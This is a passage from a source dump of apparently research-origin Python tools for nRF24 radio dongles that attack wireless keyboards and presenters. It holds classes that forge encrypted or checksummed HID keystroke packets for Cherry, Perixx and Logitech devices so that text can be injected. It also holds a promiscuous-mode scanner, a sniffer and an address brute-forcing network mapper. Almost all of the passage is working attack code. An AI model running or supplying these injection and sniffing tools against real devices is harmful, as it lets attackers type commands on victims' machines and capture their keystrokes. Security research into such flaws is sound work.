(MODIFIER_NONE, KEY_SPACE), 157 | '!' : (MODIFIER_SHIFT_LEFT, KEY_1), 158 | '"' : (MODIFIER_SHIFT_LEFT, KEY_2), 159 | '#' : (MODIFIER_NONE, KEY_EUROPE_1), 160 | '$' : (MODIFIER_SHIFT_LEFT, KEY_4), 161 | '%' : (MODIFIER_SHIFT_LEFT, KEY_5), 162 | '&' : (MODIFIER_SHIFT_LEFT, KEY_6), 163 | '(' : (MODIFIER_SHIFT_LEFT, KEY_8), 164 | ')' : (MODIFIER_SHIFT_LEFT, KEY_9), 165 | '*' : (MODIFIER_NONE, KEY_KEYPAD_MULTIPLY), 166 | '+' : (MODIFIER_NONE, KEY_KEYPAD_ADD), 167 | ',' : (MODIFIER_NONE, KEY_COMMA), 168 | '-' : (MODIFIER_NONE, KEY_KEYPAD_SUBTRACT), 169 | '.' : (MODIFIER_NONE, KEY_PERIOD), 170 | '/' : (MODIFIER_SHIFT_LEFT, KEY_7), 171 | '0' : (MODIFIER_NONE, KEY_0), 172 | '1' : (MODIFIER_NONE, KEY_1), 173 | '2' : (MODIFIER_NONE, KEY_2), 174 | '3' : (MODIFIER_NONE, KEY_3), 175 | '4' : (MODIFIER_NONE, KEY_4), 176 | '5' : (MODIFIER_NONE, KEY_5), 177 | '6' : (MODIFIER_NONE, KEY_6), 178 | '7' : (MODIFIER_NONE, KEY_7), 179 | '8' : (MODIFIER_NONE, KEY_8), 180 | '9' : (MODIFIER_NONE, KEY_9), 181 | ':' : (MODIFIER_SHIFT_LEFT, KEY_PERIOD), 182 | ';' : (MODIFIER_SHIFT_LEFT, KEY_COMMA), 183 | '<' : (MODIFIER_NONE, KEY_EUROPE_2), 184 | '=' : (MODIFIER_SHIFT_LEFT, KEY_0), 185 | '>' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_2), 186 | '?' : (MODIFIER_SHIFT_LEFT, KEY_MINUS), 187 | '@' : (MODIFIER_ALT_RIGHT, KEY_Q), 188 | 'A' : (MODIFIER_SHIFT_LEFT, KEY_A), 189 | 'B' : (MODIFIER_SHIFT_LEFT, KEY_B), 190 | 'C' : (MODIFIER_SHIFT_LEFT, KEY_C), 191 | 'D' : (MODIFIER_SHIFT_LEFT, KEY_D), 192 | 'E' : (MODIFIER_SHIFT_LEFT, KEY_E), 193 | 'F' : (MODIFIER_SHIFT_LEFT, KEY_F), 194 | 'G' : (MODIFIER_SHIFT_LEFT, KEY_G), 195 | 'H' : (MODIFIER_SHIFT_LEFT, KEY_H), 196 | 'I' : (MODIFIER_SHIFT_LEFT, KEY_I), 197 | 'J' : (MODIFIER_SHIFT_LEFT, KEY_J), 198 | 'K' : (MODIFIER_SHIFT_LEFT, KEY_K), 199 | 'L' : (MODIFIER_SHIFT_LEFT, KEY_L), 200 | 'M' : (MODIFIER_SHIFT_LEFT, KEY_M), 201 | 'N' : (MODIFIER_SHIFT_LEFT, KEY_N), 202 | 'O' : (MODIFIER_SHIFT_LEFT, KEY_O), 203 | 'P' : (MODIFIER_SHIFT_LEFT, KEY_P), 204 | 'Q' : (MODIFIER_SHIFT_LEFT, KEY_Q), 205 | 'R' : (MODIFIER_SHIFT_LEFT, KEY_R), 206 | 'S' : (MODIFIER_SHIFT_LEFT, KEY_S), 207 | 'T' : (MODIFIER_SHIFT_LEFT, KEY_T), 208 | 'U' : (MODIFIER_SHIFT_LEFT, KEY_U), 209 | 'V' : (MODIFIER_SHIFT_LEFT, KEY_V), 210 | 'W' : (MODIFIER_SHIFT_LEFT, KEY_W), 211 | 'X' : (MODIFIER_SHIFT_LEFT, KEY_X), 212 | 'Y' : (MODIFIER_SHIFT_LEFT, KEY_Z), 213 | 'Z' : (MODIFIER_SHIFT_LEFT, KEY_Y), 214 | '[' : (MODIFIER_ALT_RIGHT, KEY_8), 215 | '\\' : (MODIFIER_ALT_RIGHT, KEY_MINUS), 216 | ']' : (MODIFIER_ALT_RIGHT, KEY_9), 217 | '^' : (MODIFIER_NONE, KEY_GRAVE), 218 | '_' : (MODIFIER_SHIFT_LEFT, KEY_SLASH), 219 | '`' : (MODIFIER_SHIFT_LEFT, KEY_EQUAL), 220 | 'a' : (MODIFIER_NONE, KEY_A), 221 | 'b' : (MODIFIER_NONE, KEY_B), 222 | 'c' : (MODIFIER_NONE, KEY_C), 223 | 'd' : (MODIFIER_NONE, KEY_D), 224 | 'e' : (MODIFIER_NONE, KEY_E), 225 | 'f' : (MODIFIER_NONE, KEY_F), 226 | 'g' : (MODIFIER_NONE, KEY_G), 227 | 'h' : (MODIFIER_NONE, KEY_H), 228 | 'i' : (MODIFIER_NONE, KEY_I), 229 | 'j' : (MODIFIER_NONE, KEY_J), 230 | 'k' : (MODIFIER_NONE, KEY_K), 231 | 'l' : (MODIFIER_NONE, KEY_L), 232 | 'm' : (MODIFIER_NONE, KEY_M), 233 | 'n' : (MODIFIER_NONE, KEY_N), 234 | 'o' : (MODIFIER_NONE, KEY_O), 235 | 'p' : (MODIFIER_NONE, KEY_P), 236 | 'q' : (MODIFIER_NONE, KEY_Q), 237 | 'r' : (MODIFIER_NONE, KEY_R), 238 | 's' : (MODIFIER_NONE, KEY_S), 239 | 't' : (MODIFIER_NONE, KEY_T), 240 | 'u' : (MODIFIER_NONE, KEY_U), 241 | 'v' : (MODIFIER_NONE, KEY_V), 242 | 'w' : (MODIFIER_NONE, KEY_W), 243 | 'x' : (MODIFIER_NONE, KEY_X), 244 | 'y' : (MODIFIER_NONE, KEY_Z), 245 | 'z' : (MODIFIER_NONE, KEY_Y), 246 | '{' : (MODIFIER_ALT_RIGHT, KEY_7), 247 | '|' : (MODIFIER_ALT_RIGHT, KEY_EUROPE_2), 248 | '}' : (MODIFIER_ALT_RIGHT, KEY_0), 249 | '~' : (MODIFIER_ALT_RIGHT, KEY_BRACKET_RIGHT), 250 | u'\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), 251 | u'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), 252 | u'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), 253 | u'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT), 254 | u'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), 255 | u'ö' : (MODIFIER_NONE, KEY_SEMICOLON), 256 | u'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), 257 | u'ß' : (MODIFIER_NONE, KEY_MINUS), 258 | u'€' : (MODIFIER_ALT_RIGHT, KEY_E) 259 | } 260 | 261 | 262 | class CherryKeyboard: 263 | """CherryKeyboard (HID)""" 264 | 265 | def __init__(self, initData): 266 | """Initialize Cherry keyboard""" 267 | 268 | # set current keymap 269 | self.currentKeymap = KEYMAP_GERMAN 270 | 271 | # set AES counter 272 | self.counter = initData[11:] 273 | 274 | # set crypto key 275 | self.cryptoKey = initData[:11] 276 | 277 | def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, 278 | keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): 279 | """Return AES encrypted keyboard data""" 280 | 281 | # generate HID keyboard data 282 | plaintext = pack("11B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0) 283 | 284 | # encrypt the data with the set crypto key 285 | ciphertext = "" 286 | i = 0 287 | for b in plaintext: 288 | ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) 289 | i += 1 290 | 291 | return ciphertext + self.counter 292 | 293 | def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): 294 | """Get a keystroke for a given keycode""" 295 | keystrokes = [] 296 | 297 | # key press 298 | keystrokes.append(self.keyCommand(modifiers, keycode)) 299 | 300 | # key release 301 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 302 | 303 | return keystrokes 304 | 305 | def getKeystrokes(self, string): 306 | """Get stream of keystrokes for a given string of printable ASCII characters""" 307 | keystrokes = [] 308 | 309 | for char in string: 310 | # key press 311 | key = self.currentKeymap[char] 312 | keystrokes.append(self.keyCommand(key[0], key[1])) 313 | 314 | # key release 315 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 316 | 317 | return keystrokes 318 | 319 | 320 | class PerixxKeyboard: 321 | """PerixxKeyboard (HID)""" 322 | 323 | def __init__(self, initData): 324 | """Initialize Perixx keyboard""" 325 | 326 | # set current keymap 327 | self.currentKeymap = KEYMAP_GERMAN 328 | 329 | # set AES counter 330 | self.counter = initData[10:] 331 | 332 | # set crypto key 333 | self.cryptoKey = initData[:10] 334 | 335 | def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, 336 | keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): 337 | """Return AES encrypted keyboard data""" 338 | 339 | # generate HID keyboard data 340 | plaintext = pack("10B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0) 341 | 342 | # encrypt the data with the set crypto key 343 | ciphertext = "" 344 | i = 0 345 | for b in plaintext: 346 | ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) 347 | i += 1 348 | 349 | return ciphertext + self.counter 350 | 351 | def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): 352 | """Get a keystroke for a given keycode""" 353 | keystrokes = [] 354 | 355 | # key press 356 | keystrokes.append(self.keyCommand(modifiers, keycode)) 357 | 358 | # key release 359 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 360 | 361 | return keystrokes 362 | 363 | def getKeystrokes(self, string): 364 | """Get stream of keystrokes for a given string of printable ASCII characters""" 365 | keystrokes = [] 366 | 367 | for char in string: 368 | # key press 369 | key = self.currentKeymap[char] 370 | keystrokes.append(self.keyCommand(key[0], key[1])) 371 | 372 | # key release 373 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 374 | 375 | return keystrokes 376 | 377 | class LogitechKeyboard: 378 | """Logitech Keyboard (HID)""" 379 | 380 | def __init__(self, initData): 381 | """Initialize Logitech keyboard""" 382 | 383 | # set current keymap 384 | self.currentKeymap = KEYMAP_GERMAN 385 | 386 | # set crypto key 387 | self.cryptoKey = initData[2:14] 388 | 389 | # Logitech packet after key release packet 390 | self.KEYUP = "\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A" 391 | 392 | def checksum(self, data): 393 | checksum = 0 394 | 395 | for b in data: 396 | checksum -= ord(b) 397 | 398 | return pack("B", (checksum & 0xff)) 399 | 400 | def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, 401 | keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): 402 | """Return AES encrypted keyboard data""" 403 | 404 | # generate HID keyboard data plaintext 405 | plaintext = pack("12B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0, 0) 406 | 407 | # encrypt the data with the set crypto key 408 | ciphertext = "" 409 | 410 | i = 0 411 | for b in plaintext: 412 | ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) 413 | i += 1 414 | 415 | # generate Logitech Unifying paket 416 | data = "\x00\xD3" + ciphertext + 7 * "\x00" 417 | 418 | checksum = self.checksum(data) 419 | 420 | return data + checksum 421 | 422 | def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): 423 | """Get a keystroke for a given keycode""" 424 | keystrokes = [] 425 | 426 | # key press 427 | keystrokes.append(self.keyCommand(modifiers, keycode)) 428 | 429 | # key release 430 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 431 | keystrokes.append(self.KEYUP) 432 | 433 | return keystrokes 434 | 435 | def getKeystrokes(self, string): 436 | """Get stream of keystrokes for a given string of printable ASCII characters""" 437 | keystrokes = [] 438 | 439 | for char in string: 440 | # key press 441 | key = self.currentKeymap[char] 442 | keystrokes.append(self.keyCommand(key[0], key[1])) 443 | 444 | # key release 445 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 446 | keystrokes.append(self.KEYUP) 447 | 448 | return keystrokes 449 | 450 | 451 | class LogitechPresenter: 452 | """Logitech Presenter (HID)""" 453 | 454 | def __init__(self): 455 | """Initialize Logitech Presenter keyboard""" 456 | 457 | # set current keymap 458 | self.currentKeymap = KEYMAP_GERMAN 459 | 460 | # magic packet sent after data packets 461 | self.magic_packet = "\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C" 462 | 463 | def checksum(self, data): 464 | checksum = 0 465 | 466 | for b in data: 467 | checksum -= ord(b) 468 | 469 | return pack("B", (checksum & 0xff)) 470 | 471 | def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, 472 | keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): 473 | """Return keyboard data""" 474 | 475 | 476 | # generate HID keyboard data 477 | data = pack("9B", 0, 0xC1, modifiers, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6) 478 | 479 | checksum = self.checksum(data) 480 | 481 | return data + checksum 482 | 483 | def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): 484 | """Get a keystroke for a given keycode""" 485 | keystrokes = [] 486 | 487 | # key press 488 | keystrokes.append(self.keyCommand(modifiers, keycode)) 489 | 490 | # magic packet 491 | keystrokes.append(self.magic_packet) 492 | 493 | # key release 494 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 495 | 496 | # magic packet 497 | keystrokes.append(self.magic_packet) 498 | 499 | 500 | return keystrokes 501 | 502 | def getKeystrokes(self, string): 503 | """Get stream of keystrokes for a given string of printable ASCII characters""" 504 | keystrokes = [] 505 | 506 | for char in string: 507 | # key press 508 | key = self.currentKeymap[char] 509 | keystrokes.append(self.keyCommand(key[0], key[1])) 510 | 511 | # magic packet 512 | keystrokes.append(self.magic_packet) 513 | 514 | # key release 515 | keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) 516 | 517 | # magic packet 518 | keystrokes.append(self.magic_packet) 519 | 520 | return keystrokes 521 | 522 | -------------------------------------------------------------------------------- /tools/lib/nrf24.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Python Library for nRF24 Research Firmware 6 | 7 | Ported to Python 3 by Matthias Deeg 8 | 9 | Copyright (C) 2016 Bastille Networks 10 | Copyright (C) 2019 Matthias Deeg, SySS GmbH 11 | 12 | This program is free software: you can redistribute it and/or modify 13 | it under the terms of the GNU General Public License as published by 14 | the Free Software Foundation, either version 3 of the License, or 15 | (at your option) any later version. 16 | 17 | This program is distributed in the hope that it will be useful, 18 | but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | GNU General Public License for more details. 21 | 22 | You should have received a copy of the GNU General Public License 23 | along with this program. If not, see . 24 | """ 25 | 26 | import logging 27 | import usb 28 | 29 | import struct 30 | 31 | # Check pyusb dependency 32 | try: 33 | from usb import core as _usb_core 34 | except ImportError: 35 | print(""" 36 | ------------------------------------------ 37 | | PyUSB was not found or is out of date. | 38 | ------------------------------------------ 39 | 40 | Please update PyUSB using pip: 41 | 42 | sudo pip install -U -I pip && sudo pip install -U -I pyusb 43 | """) 44 | import sys 45 | sys.exit(1) 46 | 47 | # USB commands 48 | TRANSMIT_PAYLOAD = 0x04 49 | ENTER_SNIFFER_MODE = 0x05 50 | ENTER_PROMISCUOUS_MODE = 0x06 51 | ENTER_TONE_TEST_MODE = 0x07 52 | TRANSMIT_ACK_PAYLOAD = 0x08 53 | SET_CHANNEL = 0x09 54 | GET_CHANNEL = 0x0A 55 | ENABLE_LNA_PA = 0x0B 56 | TRANSMIT_PAYLOAD_GENERIC = 0x0C 57 | ENTER_PROMISCUOUS_MODE_GENERIC = 0x0D 58 | RECEIVE_PAYLOAD = 0x12 59 | 60 | # nRF24LU1+ registers 61 | RF_CH = 0x05 62 | 63 | # RF data rates 64 | RF_RATE_250K = 0 65 | RF_RATE_1M = 1 66 | RF_RATE_2M = 2 67 | 68 | 69 | class nrf24: 70 | """Nordic Semiconductor nRF24LU1+ radio dongle""" 71 | 72 | # Sufficiently long timeout for use in a VM 73 | usb_timeout = 2500 74 | 75 | def __init__(self, index=0): 76 | """Constructor""" 77 | try: 78 | self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index] 79 | self.dongle.set_configuration() 80 | except usb.core.USBError as ex: 81 | raise ex 82 | except: 83 | raise Exception('Cannot find USB dongle.') 84 | 85 | def enter_promiscuous_mode(self, prefix=[], rate=RF_RATE_2M, addrlen=5): 86 | """Put the radio in pseudo-promiscuous mode""" 87 | 88 | data = struct.pack("BBB", rate, addrlen, len(prefix)) + prefix 89 | self.send_usb_command(ENTER_PROMISCUOUS_MODE, data) 90 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 91 | if len(prefix) > 0: 92 | logging.debug('Entered promiscuous mode with address prefix {0}'.format(prefix)) 93 | else: 94 | logging.debug('Entered promiscuous mode') 95 | 96 | def enter_promiscuous_mode_generic(self, prefix=b"", rate=RF_RATE_2M, payload_length=32): 97 | """Put the radio in pseudo-promiscuous mode without CRC checking""" 98 | 99 | data = struct.pack("BBB", len(prefix), rate, payload_length) + prefix 100 | self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, data) 101 | 102 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 103 | if len(prefix) > 0: 104 | logging.debug('Entered generic promiscuous mode with address prefix {0}'.format(prefix)) 105 | else: 106 | logging.debug('Entered promiscuous mode') 107 | 108 | def enter_sniffer_mode(self, address, rate=RF_RATE_2M): 109 | """Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking)""" 110 | 111 | data = struct.pack("BB", rate, len(address)) + address 112 | self.send_usb_command(ENTER_SNIFFER_MODE, data) 113 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 114 | logging.debug('Entered sniffer mode with address {0}'.format(address)) 115 | # logging.debug('Entered sniffer mode with address {0}'. 116 | # format(':'.join('{:02X}'.format(ord(b)) for b in address[::-1]))) 117 | 118 | def enter_tone_test_mode(self): 119 | """Put the radio into continuous tone (TX) test mode""" 120 | 121 | self.send_usb_command(ENTER_TONE_TEST_MODE, b"") 122 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 123 | logging.debug('Entered continuous tone test mode') 124 | 125 | def receive_payload(self): 126 | """Receive a payload if one is available""" 127 | 128 | self.send_usb_command(RECEIVE_PAYLOAD, b"") 129 | return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 130 | 131 | def transmit_payload_generic(self, payload, address=b"\x33\x33\x33\x33\x33"): 132 | """Transmit a generic (non-ESB) payload""" 133 | 134 | data = struct.pack("BB", len(payload), len(address)) + payload + address 135 | self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data) 136 | return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 137 | 138 | def transmit_payload(self, payload, timeout=4, retransmits=15): 139 | """Transmit an ESB payload""" 140 | 141 | data = struct.pack("BBB", len(payload), timeout, retransmits) + payload 142 | self.send_usb_command(TRANSMIT_PAYLOAD, data) 143 | return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 144 | 145 | def transmit_ack_payload(self, payload): 146 | """Transmit an ESB ACK payload""" 147 | 148 | data = struct.pack("B", len(payload)) + payload 149 | self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data) 150 | return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 151 | 152 | def set_channel(self, channel): 153 | """Set the RF channel""" 154 | 155 | if channel > 125: 156 | channel = 125 157 | 158 | data = struct.pack("B", channel) 159 | self.send_usb_command(SET_CHANNEL, data) 160 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 161 | logging.debug('Tuned to {0}'.format(channel)) 162 | 163 | def get_channel(self): 164 | """Get the current RF channel""" 165 | 166 | self.send_usb_command(GET_CHANNEL, b"") 167 | return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 168 | 169 | def enable_lna(self): 170 | """Enable the LNA (CrazyRadio PA)""" 171 | 172 | self.send_usb_command(ENABLE_LNA_PA, b"") 173 | self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) 174 | 175 | def send_usb_command(self, request, data): 176 | """Send a USB command""" 177 | 178 | data = struct.pack("B", request) + data 179 | self.dongle.write(0x01, data, timeout=nrf24.usb_timeout) 180 | -------------------------------------------------------------------------------- /tools/nrf24-continuous-tone-test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (C) 2016 Bastille Networks 6 | 7 | This program is free software: you can redistribute it and/or modify 8 | it under the terms of the GNU General Public License as published by 9 | the Free Software Foundation, either version 3 of the License, or 10 | (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program. If not, see . 19 | """ 20 | 21 | from lib import common 22 | 23 | # Parse command line arguments and initialize the radio 24 | common.init_args('./nrf24-continuous-tone-test.py') 25 | common.parse_and_init() 26 | 27 | # Set the initial channel 28 | common.radio.set_channel(common.channels[0]) 29 | 30 | # Put the radio in continuous tone test mode 31 | common.radio.enter_tone_test_mode() 32 | 33 | # Run indefinitely 34 | while True: 35 | pass 36 | -------------------------------------------------------------------------------- /tools/nrf24-network-mapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (C) 2016 Bastille Networks 6 | 7 | This program is free software: you can redistribute it and/or modify 8 | it under the terms of the GNU General Public License as published by 9 | the Free Software Foundation, either version 3 of the License, or 10 | (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program. If not, see . 19 | """ 20 | 21 | import logging 22 | from lib import common 23 | 24 | # Parse command line arguments and initialize the radio 25 | common.init_args('./nrf24-network-mapper.py') 26 | common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True) 27 | common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500) 28 | common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES') 29 | common.parser.add_argument('-p', '--ping_payload', type=str, help='Ping payload, ex 0F:0F:0F:0F', default='0F:0F:0F:0F', metavar='PING_PAYLOAD') 30 | common.parse_and_init() 31 | 32 | # Parse the address 33 | address = common.args.address.replace(':', '').decode('hex')[::-1][:5] 34 | address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) 35 | if len(address) < 2: 36 | raise Exception('Invalid address: {0}'.format(common.args.address)) 37 | 38 | # Put the radio in sniffer mode (ESB w/o auto ACKs) 39 | common.radio.enter_sniffer_mode(address) 40 | 41 | # Parse the ping payload 42 | ping_payload = common.args.ping_payload.replace(':', '').decode('hex') 43 | 44 | # Format the ACK timeout and auto retry values 45 | ack_timeout = int(common.args.ack_timeout / 250) - 1 46 | ack_timeout = max(0, min(ack_timeout, 15)) 47 | retries = max(0, min(common.args.retries, 15)) 48 | 49 | # Ping each address on each channel args.passes number of times 50 | valid_addresses = [] 51 | for p in range(2): 52 | 53 | # Step through each potential address 54 | for b in range(256): 55 | 56 | try_address = chr(b) + address[1:] 57 | logging.info('Trying address {0}'.format(':'.join('{:02X}'.format(ord(b)) for b in try_address[::-1]))) 58 | common.radio.enter_sniffer_mode(try_address) 59 | 60 | # Step through each channel 61 | for c in range(len(common.args.channels)): 62 | common.radio.set_channel(common.channels[c]) 63 | 64 | # Attempt to ping the address 65 | if common.radio.transmit_payload(ping_payload, ack_timeout, retries): 66 | valid_addresses.append(try_address) 67 | logging.info('Successful ping of {0} on channel {1}'.format( 68 | ':'.join('{:02X}'.format(ord(b)) for b in try_address[::-1]), 69 | common.channels[c])) 70 | 71 | # Print the results 72 | valid_addresses = list(set(valid_addresses)) 73 | for addr in valid_addresses: 74 | logging.info('Found address {0}'.format(':'.join('{:02X}'.format(ord(b)) for b in addr[::-1]))) 75 | -------------------------------------------------------------------------------- /tools/nrf24-scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (C) 2016 Bastille Networks 6 | 7 | This program is free software: you can redistribute it and/or modify 8 | it under the terms of the GNU General Public License as published by 9 | the Free Software Foundation, either version 3 of the License, or 10 | (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program. If not, see . 19 | """ 20 | 21 | import logging 22 | import time 23 | 24 | from binascii import unhexlify 25 | from lib import common 26 | 27 | # Parse command line arguments and initialize the radio 28 | common.init_args('./nrf24-scanner.py') 29 | common.parser.add_argument('-p', '--prefix', type=str, help='Promiscuous mode address prefix', default='') 30 | common.parser.add_argument('-d', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='100') 31 | common.parser.add_argument('-R', '--rate', type=str, help='RF rate', choices=['250K', '1M', '2M'], default='2M') 32 | common.parser.add_argument('-A', '--addrlen', type=int, choices=[2, 3, 4, 5], default=5) 33 | common.parse_and_init() 34 | 35 | # Parse the prefix addresses 36 | # prefix_address = common.args.prefix.replace(':', '').decode('hex') 37 | prefix_address = unhexlify(common.args.prefix.replace(':', '')) 38 | 39 | 40 | if len(prefix_address) > 5: 41 | raise Exception('Invalid prefix address: {0}'.format(args.address)) 42 | 43 | # Put the radio in promiscuous mode 44 | rate = common.RF_RATE_2M 45 | if common.args.rate == '1M': 46 | rate = common.RF_RATE_1M 47 | elif common.args.rate == '250K': 48 | rate = common.RF_RATE_250K 49 | 50 | addrlen = common.args.addrlen 51 | common.radio.enter_promiscuous_mode(prefix_address, rate=rate, addrlen=addrlen) 52 | 53 | # Convert dwell time from milliseconds to seconds 54 | dwell_time = common.args.dwell / 1000 55 | 56 | # Set the initial channel 57 | common.radio.set_channel(common.channels[0]) 58 | 59 | # Sweep through the channels and decode ESB packets in pseudo-promiscuous mode 60 | last_tune = time.time() 61 | channel_index = 0 62 | while True: 63 | 64 | # Increment the channel 65 | if len(common.channels) > 1 and time.time() - last_tune > dwell_time: 66 | channel_index = (channel_index + 1) % (len(common.channels)) 67 | common.radio.set_channel(common.channels[channel_index]) 68 | last_tune = time.time() 69 | 70 | # Receive payloads 71 | value = common.radio.receive_payload() 72 | if len(value) >= addrlen: 73 | 74 | # Split the address and payload 75 | address, payload = value[0:addrlen], value[addrlen:] 76 | 77 | # Log the packet 78 | logging.info('{0: >2} {1: >2} {2} {3}'.format( 79 | common.channels[channel_index], 80 | len(payload), 81 | ':'.join('{:02X}'.format(b) for b in address), 82 | ':'.join('{:02X}'.format(b) for b in payload))) 83 | -------------------------------------------------------------------------------- /tools/nrf24-sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | 20 | import time, logging 21 | from lib import common 22 | 23 | # Parse command line arguments and initialize the radio 24 | common.init_args('./nrf24-sniffer.py') 25 | common.parser.add_argument('-a', '--address', type=str, help='Address to sniff, following as it changes channels', required=True) 26 | common.parser.add_argument('-t', '--timeout', type=float, help='Channel timeout, in milliseconds', default=100) 27 | common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=250) 28 | common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default=1, choices=range(0, 16), metavar='RETRIES') 29 | common.parser.add_argument('-p', '--ping_payload', type=str, help='Ping payload, ex 0F:0F:0F:0F', default='0F:0F:0F:0F', metavar='PING_PAYLOAD') 30 | common.parser.add_argument('-R', '--rate', type=str, help='RF rate', choices=['250K', '1M', '2M'], default='2M') 31 | common.parse_and_init() 32 | 33 | # Parse the address 34 | address = bytes.fromhex(common.args.address.replace(':', ''))[::-1][:5] 35 | address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) 36 | if len(address) < 2: 37 | raise Exception('Invalid address: {0}'.format(common.args.address)) 38 | 39 | # Put the radio in sniffer mode (ESB w/o auto ACKs) 40 | rate = common.RF_RATE_2M 41 | if common.args.rate == '1M': rate = common.RF_RATE_1M 42 | elif common.args.rate == '250K': rate = common.RF_RATE_250K 43 | common.radio.enter_sniffer_mode(address, rate=rate) 44 | 45 | # Convert channel timeout from milliseconds to seconds 46 